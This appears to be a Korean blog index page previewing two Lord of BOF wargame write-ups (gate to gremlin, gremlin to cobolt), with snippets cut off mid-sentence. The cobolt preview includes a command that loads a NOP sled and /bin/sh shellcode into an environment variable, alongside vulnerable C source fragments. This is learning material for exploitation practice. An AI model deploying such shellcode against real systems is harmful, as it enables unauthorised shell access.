SystemHacking/LOB(BOF원정대)(20)
-
[2] gremlin -> cobolt ( Small BOF )
gremlin / hello bof world문제 풀이 전 필수입력 !![gremlin@localhost gremlin]$ /bin/bash2[gremlin@localhost gremlin]$ export SHELL=/bin/bash2 [ cobolt.c ]1234567891011int main(int argc, char *argv[]){ char buffer[16]; if(argc 1> 환경변수에 쉘 코드를 올린다$ export tmp=$(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')$ env 로 확인 ! 2> ..
2017.11.17 -
[1] gate -> gremlin ( Simple BOF ) 문제풀이 및 유의사항
# BOF 원정대를 시작하기에 앞서 항상 기억해두어야 할 것이 있습니다해당 버전의 리눅스에서는 " ff " 입력을 " 00 " 으로 인식하는 오류가 발생합니다이를 해결하기 위해 항상 문제를 풀기 전에 다음 두개의 명령어를 입력하시고 문제를 진행하시기 바랍니다1> [~~]$ /bin/bash2 2> [~~]$ export SHELL=/bin/bash2환경변수의 SHELL을 변경하는 이유는 gdb 실행시 bash2를 사용해서 gdb를 열도록 하기 위함입니다그럼 문제풀이 시작하겠습니다 [ gremlin.c ]123456789101112 int main(int argc, char *argv[]){ char buffer[256]; if(argc 1> 환경변수에 쉘코드를 올린다 [1] $(cmd)$( ) 내부에 있..
2017.11.17